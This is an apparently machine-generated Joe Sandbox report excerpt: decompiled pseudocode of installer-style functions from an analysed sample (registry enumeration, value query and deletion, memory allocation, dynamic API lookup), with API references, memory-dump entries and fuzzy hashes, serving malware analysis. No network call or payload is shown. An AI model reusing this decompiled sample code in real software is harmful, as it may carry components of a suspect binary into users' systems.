                                      0x00401b95
                                      0x00401b98
                                      0x00401b9f
                                      0x00401ba4
                                      0x00401bae
                                      0x00401bb3
                                      0x00401bb8
                                      0x00401bbc
                                      0x004029db
                                      0x00402abf
                                      0x00402ac2
                                      0x00402ac8
                                      0x00402ac8
                                      0x00401b8f
                                      0x00000000
                                      0x00401b8b
                                      0x004022de
                                      0x004022eb
                                      0x004022ec
                                      0x004022f1
                                      0x004022f1
                                      0x00402aca
                                      0x00402ace

                                      APIs
                                      • GlobalFree.KERNEL32(00000000), ref: 00401BE1
                                      • GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Global$AllocFree
                                      • String ID: Call
                                      • API String ID: 3394109436-1824292864
                                      • Opcode ID: cca3354bba1bf3734a7de2d1ff860a70d998943ae53f9745150d6e264a445642
                                      • Instruction ID: dcb5b8d847a710274197b3f9eb455299827833f010be51817d6ecb77aa41e574
                                      • Opcode Fuzzy Hash: cca3354bba1bf3734a7de2d1ff860a70d998943ae53f9745150d6e264a445642
                                      • Instruction Fuzzy Hash: 5021CD72700100EFDB20EBA8CE8495E76B8AF84328725417BF902F72D1DB7D98518B2D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 86%
                                      			E004024F2(int* __ebx, intOrPtr __edx, short* __esi) {
                                      				void* _t9;
                                      				int _t10;
                                      				long _t13;
                                      				int* _t16;
                                      				intOrPtr _t21;
                                      				void* _t22;
                                      				short* _t24;
                                      				void* _t26;
                                      				void* _t29;
                                      
                                      				_t24 = __esi;
                                      				_t21 = __edx;
                                      				_t16 = __ebx;
                                      				_t9 = E00402C77(_t29, 0x20019); // executed
                                      				_t22 = _t9;
                                      				_t10 = E00402C15(3);
                                      				 *((intOrPtr*)(_t26 - 0x4c)) = _t21;
                                      				 *__esi = __ebx;
                                      				if(_t22 == __ebx) {
                                      					 *((intOrPtr*)(_t26 - 4)) = 1;
                                      				} else {
                                      					 *(_t26 + 8) = 0x3ff;
                                      					if( *((intOrPtr*)(_t26 - 0x18)) == __ebx) {
                                      						_t13 = RegEnumValueW(_t22, _t10, __esi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
                                      						__eflags = _t13;
                                      						if(_t13 != 0) {
                                      							 *((intOrPtr*)(_t26 - 4)) = 1;
                                      						}
                                      					} else {
                                      						RegEnumKeyW(_t22, _t10, __esi, 0x3ff);
                                      					}
                                      					_t24[0x3ff] = _t16;
                                      					_push(_t22);
                                      					RegCloseKey();
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t26 - 4));
                                      				return 0;
                                      			}












                                      0x004024f2
                                      0x004024f2
                                      0x004024f2
                                      0x004024f7
                                      0x004024fe
                                      0x00402500
                                      0x00402508
                                      0x0040250b
                                      0x0040250e
                                      0x00402885
                                      0x00402514
                                      0x0040251c
                                      0x0040251f
                                      0x00402538
                                      0x0040253e
                                      0x00402540
                                      0x00402542
                                      0x00402542
                                      0x00402521
                                      0x00402525
                                      0x00402525
                                      0x00402549
                                      0x00402550
                                      0x00402551
                                      0x00402551
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402525
                                      • RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 00402538
                                      • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00000000,00000011,00000002), ref: 00402551
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Enum$CloseValue
                                      • String ID:
                                      • API String ID: 397863658-0
                                      • Opcode ID: ceb7b32d921ca444f1fc010657555d0ace05083c01aecd1a6f00f0e4ceb8bccc
                                      • Instruction ID: caf525ecc09255a736170ff5365d3a7771f075d5505ff7476addd39d58865d97
                                      • Opcode Fuzzy Hash: ceb7b32d921ca444f1fc010657555d0ace05083c01aecd1a6f00f0e4ceb8bccc
                                      • Instruction Fuzzy Hash: 4A017171904104EFE7159FA5DE89ABFB6BCEF44348F10403EF105A62D0DAB84E459B69
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 21%
                                      			E1000289C(void* __ecx, intOrPtr _a4) {
                                      				signed int _v8;
                                      				void* _t31;
                                      				void* _t32;
                                      				long _t36;
                                      				void* _t40;
                                      				void* _t49;
                                      				void* _t54;
                                      				void* _t58;
                                      				signed int _t65;
                                      				void* _t70;
                                      				void* _t79;
                                      				intOrPtr _t81;
                                      				signed int _t88;
                                      				intOrPtr _t90;
                                      				intOrPtr _t91;
                                      				void* _t92;
                                      				void* _t94;
                                      				void* _t100;
                                      				void* _t101;
                                      				void* _t102;
                                      				void* _t103;
                                      				intOrPtr _t106;
                                      				intOrPtr _t107;
                                      
                                      				if( *0x10004050 != 0 && E1000281E(_a4) == 0) {
                                      					 *0x10004054 = _t106;
                                      					if( *0x1000404c != 0) {
                                      						_t106 =  *0x1000404c;
                                      					} else {
                                      						E10002DE0(E10002818(), __ecx);
                                      						 *0x1000404c = _t106;
                                      					}
                                      				}
                                      				_t31 = E1000285A(_a4);
                                      				_t107 = _t106 + 4;
                                      				if(_t31 <= 0) {
                                      					L9:
                                      					_t32 = E1000284E();
                                      					_t81 = _a4;
                                      					_t90 =  *0x10004058;
                                      					 *((intOrPtr*)(_t32 + _t81)) = _t90;
                                      					 *0x10004058 = _t81;
                                      					E10002848();
                                      					_t36 = SetFilePointer(??, ??, ??, ??); // executed
                                      					 *0x10004034 = _t36;
                                      					 *0x10004038 = _t90;
                                      					if( *0x10004050 != 0 && E1000281E( *0x10004058) == 0) {
                                      						 *0x1000404c = _t107;
                                      						_t107 =  *0x10004054;
                                      					}
                                      					_t91 =  *0x10004058;
                                      					_a4 = _t91;
                                      					 *0x10004058 =  *((intOrPtr*)(E1000284E() + _t91));
                                      					_t40 = E1000282C(_t91);
                                      					_pop(_t92);
                                      					if(_t40 != 0) {
                                      						_t49 = E1000285A(_t92);
                                      						if(_t49 > 0) {
                                      							_push(_t49);
                                      							_push(E10002865() + _a4 + _v8);
                                      							_push(E1000286F());
                                      							if( *0x10004050 <= 0 || E1000281E(_a4) != 0) {
                                      								_pop(_t101);
                                      								_pop(_t54);
                                      								if( *((intOrPtr*)(_t101 + _t54)) == 2) {
                                      								}
                                      								asm("loop 0xfffffff5");
                                      							} else {
                                      								_pop(_t102);
                                      								_pop(_t58);
                                      								 *0x1000404c =  *0x1000404c +  *(_t102 + _t58) * 4;
                                      								asm("loop 0xffffffeb");
                                      							}
                                      						}
                                      					}
                                      					if( *0x10004058 == 0) {
                                      						 *0x1000404c = 0;
                                      					}
                                      					_t94 = _a4 + E10002865();
                                      					 *(E10002873() + _t94) =  *0x10004034;
                                      					 *((intOrPtr*)(E10002877() + _t94)) =  *0x10004038;
                                      					E10002887(_a4);
                                      					if(E1000283A() != 0) {
                                      						 *0x10004068 = GetLastError();
                                      					}
                                      					return _a4;
                                      				}
                                      				_push(E10002865() + _a4);
                                      				_t65 = E1000286B();
                                      				_v8 = _t65;
                                      				_t88 = _t31;
                                      				_push(_t77 + _t65 * _t88);
                                      				_t79 = E10002877();
                                      				_t100 = E10002873();
                                      				_t103 = E1000286F();
                                      				_t70 = _t88;
                                      				if( *((intOrPtr*)(_t103 + _t70)) == 2) {
                                      					_push( *((intOrPtr*)(_t79 + _t70)));
                                      				}
                                      				_push( *((intOrPtr*)(_t100 + _t70)));
                                      				asm("loop 0xfffffff1");
                                      				goto L9;
                                      			}


























                                      0x100028ac
                                      0x100028bd
                                      0x100028ca
                                      0x100028de
                                      0x100028cc
                                      0x100028d1
                                      0x100028d6
                                      0x100028d6
                                      0x100028ca
                                      0x100028e7
                                      0x100028ec
                                      0x100028f2
                                      0x10002936
                                      0x10002936
                                      0x1000293b
                                      0x10002940
                                      0x10002946
                                      0x10002948
                                      0x1000294e
                                      0x1000295b
                                      0x1000295d
                                      0x10002962
                                      0x1000296f
                                      0x10002982
                                      0x10002988
                                      0x1000298e
                                      0x1000298f
                                      0x10002995
                                      0x100029a1
                                      0x100029a7
                                      0x100029af
                                      0x100029b0
                                      0x100029b3
                                      0x100029be
                                      0x100029c0
                                      0x100029cc
                                      0x100029d2
                                      0x100029da
                                      0x10002a06
                                      0x10002a07
                                      0x10002a0d
                                      0x10002a0d
                                      0x10002a14
                                      0x100029ea
                                      0x100029ea
                                      0x100029eb
                                      0x100029f9
                                      0x10002a02
                                      0x10002a02
                                      0x100029da
                                      0x100029be
                                      0x10002a1d
                                      0x10002a1f
                                      0x10002a1f
                                      0x10002a31
                                      0x10002a3e
                                      0x10002a4c
                                      0x10002a52
                                      0x10002a60
                                      0x10002a68
                                      0x10002a68
                                      0x10002a76
                                      0x10002a76
                                      0x100028fd
                                      0x100028fe
                                      0x10002903
                                      0x10002907
                                      0x1000290c
                                      0x10002920
                                      0x10002921
                                      0x10002922
                                      0x10002924
                                      0x10002929
                                      0x1000292b
                                      0x1000292b
                                      0x1000292e
                                      0x10002934
                                      0x00000000

                                      APIs
                                      • SetFilePointer.KERNELBASE(00000000), ref: 1000295B
                                      • GetLastError.KERNEL32 ref: 10002A62
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56287645095.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000002.00000002.56287621187.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287670249.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287691268.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_10000000_zpeu.jbxd
                                      Similarity
                                      • API ID: ErrorFileLastPointer
                                      • String ID:
                                      • API String ID: 2976181284-0
                                      • Opcode ID: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
                                      • Instruction ID: 6dfa44c8e371a7ac1a486a55eff0af4ad814c9ea0d06d7514663fdd8c294557a
                                      • Opcode Fuzzy Hash: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
                                      • Instruction Fuzzy Hash: 4E51B4B9905211DFFB20DFA4DCC675937A8EB443D4F22C42AEA04E726DCE34A990CB55
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 84%
                                      			E0040247E(int* __ebx, char* __esi) {
                                      				void* _t17;
                                      				short* _t18;
                                      				void* _t33;
                                      				void* _t37;
                                      				void* _t40;
                                      
                                      				_t35 = __esi;
                                      				_t27 = __ebx;
                                      				_t17 = E00402C77(_t40, 0x20019); // executed
                                      				_t33 = _t17;
                                      				_t18 = E00402C37(0x33);
                                      				 *__esi = __ebx;
                                      				if(_t33 == __ebx) {
                                      					 *(_t37 - 4) = 1;
                                      				} else {
                                      					 *(_t37 - 0x4c) = 0x800;
                                      					if(RegQueryValueExW(_t33, _t18, __ebx, _t37 + 8, __esi, _t37 - 0x4c) != 0) {
                                      						L7:
                                      						 *_t35 = _t27;
                                      						 *(_t37 - 4) = 1;
                                      					} else {
                                      						if( *(_t37 + 8) == 4) {
                                      							__eflags =  *(_t37 - 0x18) - __ebx;
                                      							 *(_t37 - 4) = 0 |  *(_t37 - 0x18) == __ebx;
                                      							E00406193(__esi,  *__esi);
                                      						} else {
                                      							if( *(_t37 + 8) == 1 ||  *(_t37 + 8) == 2) {
                                      								 *(_t37 - 4) =  *(_t37 - 0x18);
                                      								_t35[0x7fe] = _t27;
                                      							} else {
                                      								goto L7;
                                      							}
                                      						}
                                      					}
                                      					_push(_t33);
                                      					RegCloseKey();
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *(_t37 - 4);
                                      				return 0;
                                      			}








                                      0x0040247e
                                      0x0040247e
                                      0x00402483
                                      0x0040248a
                                      0x0040248c
                                      0x00402493
                                      0x00402496
                                      0x00402885
                                      0x0040249c
                                      0x0040249f
                                      0x004024ba
                                      0x004024ea
                                      0x004024ea
                                      0x004024ed
                                      0x004024bc
                                      0x004024c0
                                      0x004024d9
                                      0x004024e0
                                      0x004024e3
                                      0x004024c2
                                      0x004024c5
                                      0x004024d0
                                      0x00402549
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x004024c5
                                      0x004024c0
                                      0x00402550
                                      0x00402551
                                      0x00402551
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024AF
                                      • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsx575C.tmp,00000000,00000011,00000002), ref: 00402551
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CloseQueryValue
                                      • String ID:
                                      • API String ID: 3356406503-0
                                      • Opcode ID: 21d2e53ba5899b2399da8d375d2a26f7ebc178e4581a72889eecadc7fe3daa70
                                      • Instruction ID: 1ba1cbfe7526e94493429aa356f7c232dcc3bab2ce10746d05ed9864f28b52f9
                                      • Opcode Fuzzy Hash: 21d2e53ba5899b2399da8d375d2a26f7ebc178e4581a72889eecadc7fe3daa70
                                      • Instruction Fuzzy Hash: C2119131900209EFEB24DFA4CA585AEB6B4EF04344F20843FE046A62C0D6B84A45DB5A
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 69%
                                      			E00401389(signed int _a4) {
                                      				intOrPtr* _t6;
                                      				void* _t8;
                                      				void* _t10;
                                      				signed int _t11;
                                      				void* _t12;
                                      				signed int _t16;
                                      				signed int _t17;
                                      				void* _t18;
                                      
                                      				_t17 = _a4;
                                      				while(_t17 >= 0) {
                                      					_t6 = _t17 * 0x1c +  *0x42a250;
                                      					if( *_t6 == 1) {
                                      						break;
                                      					}
                                      					_push(_t6); // executed
                                      					_t8 = E00401434(); // executed
                                      					if(_t8 == 0x7fffffff) {
                                      						return 0x7fffffff;
                                      					}
                                      					_t10 = E0040136D(_t8);
                                      					if(_t10 != 0) {
                                      						_t11 = _t10 - 1;
                                      						_t16 = _t17;
                                      						_t17 = _t11;
                                      						_t12 = _t11 - _t16;
                                      					} else {
                                      						_t12 = _t10 + 1;
                                      						_t17 = _t17 + 1;
                                      					}
                                      					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
                                      						 *0x4291ec =  *0x4291ec + _t12;
                                      						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x4291ec, 0x7530,  *0x4291d4), 0); // executed
                                      					}
                                      				}
                                      				return 0;
                                      			}











                                      0x0040138a
                                      0x004013fa
                                      0x0040139b
                                      0x004013a0
                                      0x00000000
                                      0x00000000
                                      0x004013a2
                                      0x004013a3
                                      0x004013ad
                                      0x00000000
                                      0x00401404
                                      0x004013b0
                                      0x004013b7
                                      0x004013bd
                                      0x004013be
                                      0x004013c0
                                      0x004013c2
                                      0x004013b9
                                      0x004013b9
                                      0x004013ba
                                      0x004013ba
                                      0x004013c9
                                      0x004013cb
                                      0x004013f4
                                      0x004013f4
                                      0x004013c9
                                      0x00000000

                                      APIs
                                      • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                      • SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: MessageSend
                                      • String ID:
                                      • API String ID: 3850602802-0
                                      • Opcode ID: 4f6c34c5b8a695bbd53b5e5fd0d5779018604e626f19c7de5a7ff9245b1439a4
                                      • Instruction ID: 643084589b99c3aa520b22feaac895240b719bdb66a029b0c5212504e21fbf59
                                      • Opcode Fuzzy Hash: 4f6c34c5b8a695bbd53b5e5fd0d5779018604e626f19c7de5a7ff9245b1439a4
                                      • Instruction Fuzzy Hash: 7A01F4317242119BEB195B799D09B3A3798E710314F14463FF855F62F1DA78CC529B4C
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00402388(void* __ebx) {
                                      				void* _t10;
                                      				void* _t14;
                                      				long _t18;
                                      				intOrPtr _t20;
                                      				void* _t22;
                                      				void* _t23;
                                      
                                      				_t14 = __ebx;
                                      				_t26 =  *(_t23 - 0x18) - __ebx;
                                      				_t20 =  *((intOrPtr*)(_t23 - 0x24));
                                      				if( *(_t23 - 0x18) != __ebx) {
                                      					_t18 = E00402CF5(__eflags, _t20, E00402C37(0x22),  *(_t23 - 0x18) >> 1);
                                      					goto L4;
                                      				} else {
                                      					_t10 = E00402C77(_t26, 2); // executed
                                      					_t22 = _t10;
                                      					if(_t22 == __ebx) {
                                      						L6:
                                      						 *((intOrPtr*)(_t23 - 4)) = 1;
                                      					} else {
                                      						_t18 = RegDeleteValueW(_t22, E00402C37(0x33));
                                      						RegCloseKey(_t22);
                                      						L4:
                                      						if(_t18 != _t14) {
                                      							goto L6;
                                      						}
                                      					}
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t23 - 4));
                                      				return 0;
                                      			}









                                      0x00402388
                                      0x00402388
                                      0x0040238b
                                      0x0040238e
                                      0x004023cf
                                      0x00000000
                                      0x00402390
                                      0x00402392
                                      0x00402397
                                      0x0040239b
                                      0x00402885
                                      0x00402885
                                      0x004023a1
                                      0x004023b1
                                      0x004023b3
                                      0x004023d1
                                      0x004023d3
                                      0x00000000
                                      0x004023d9
                                      0x004023d3
                                      0x0040239b
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023AA
                                      • RegCloseKey.ADVAPI32(00000000), ref: 004023B3
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CloseDeleteValue
                                      • String ID:
                                      • API String ID: 2831762973-0
                                      • Opcode ID: 859a452b567a2b49685365d2305dd34cf94649ed3485424598dfda958428dee9
                                      • Instruction ID: 69a0439a92fed2963c94793673695853850156b7000f6b5095c498e1c7bb27ff
                                      • Opcode Fuzzy Hash: 859a452b567a2b49685365d2305dd34cf94649ed3485424598dfda958428dee9
                                      • Instruction Fuzzy Hash: EDF06832A041149BE711ABA49B4DABEB2A59B44354F15053FFA02F71C1D9FC4D41866D
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • ShowWindow.USER32(00000000,00000000), ref: 00401E61
                                      • EnableWindow.USER32(00000000,00000000), ref: 00401E6C
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Window$EnableShow
                                      • String ID:
                                      • API String ID: 1136574915-0
                                      • Opcode ID: d0d8b59ecb73009d1eee21f5c2343fbec77fc229469ffa234c84efe8ad4dd57b
                                      • Instruction ID: 9292e16701e7cd97f929a58a5ab9d779cc9b33b2a3d424137dc092703ffa0750
                                      • Opcode Fuzzy Hash: d0d8b59ecb73009d1eee21f5c2343fbec77fc229469ffa234c84efe8ad4dd57b
                                      • Instruction Fuzzy Hash: 52E09232E08200CFD7249BA5AA4946D77B4EB84354720407FE112F11D2DA7848418F69
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00406626(signed int _a4) {
                                      				struct HINSTANCE__* _t5;
                                      				signed int _t10;
                                      
                                      				_t10 = _a4 << 3;
                                      				_t8 =  *(_t10 + 0x40a3e0);
                                      				_t5 = GetModuleHandleA( *(_t10 + 0x40a3e0));
                                      				if(_t5 != 0) {
                                      					L2:
                                      					return GetProcAddress(_t5,  *(_t10 + 0x40a3e4));
                                      				}
                                      				_t5 = E004065B6(_t8); // executed
                                      				if(_t5 == 0) {
                                      					return 0;
                                      				}
                                      				goto L2;
                                      			}





                                      0x0040662e
                                      0x00406631
                                      0x00406638
                                      0x00406640
                                      0x0040664c
                                      0x00000000
                                      0x00406653
                                      0x00406643
                                      0x0040664a
                                      0x00000000
                                      0x0040665b
                                      0x00000000

                                      APIs
                                      • GetModuleHandleA.KERNEL32(?,00000020,?,004033AF,0000000A), ref: 00406638
